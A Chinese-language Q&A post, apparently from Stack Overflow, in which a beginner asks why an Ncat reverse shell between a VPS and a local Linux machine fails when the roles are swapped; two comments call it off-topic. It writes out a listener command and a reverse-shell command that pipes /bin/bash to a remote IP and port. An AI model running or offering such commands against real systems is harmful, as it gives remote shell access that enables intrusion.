【发布时间】:2022-08-20 19:59:41
【问题描述】:
我在使用 Ncat(Nmap 的工具)建立反向 shell 时遇到问题。起初它工作正常,但是当我交换目标和攻击机器时它没有。
情况1:我设置了一个Ubuntu虚拟专用服务器(IP地址:172.105.253.156),这里Ubuntu机器是我的攻击机器,我的本地Linux机器是目标。然后我在我的攻击机器上执行了这个命令:
ncat -lnv 172.105.253.156 489
现在我试图从我的本地机器(目标)连接到我的攻击机器,所以,我执行了这个:
ncat -e \"/bin/bash\" 172.105.253.156 489
这样一来,反向外壳就完美建立了。
案例二:但是在这里,当我尝试交换我的机器并在我的本地机器上监听目标时,因此通过尝试从 Ubuntu 机器(目标)连接到攻击者(我的本地 Linux 机器),它们之间没有建立连接。
我对反向壳的概念完全陌生。
-
SO是一个编程问答平台,这个问题与编程无关。 What topics can I ask about here? 请删除此内容。关于操作系统、它们的实用程序、网络和硬件的问题,不在此处讨论。
-
除了@Rob 写的内容,尽可能在代码框中而不是图像中发布文本
标签: linux netcat reverse-shell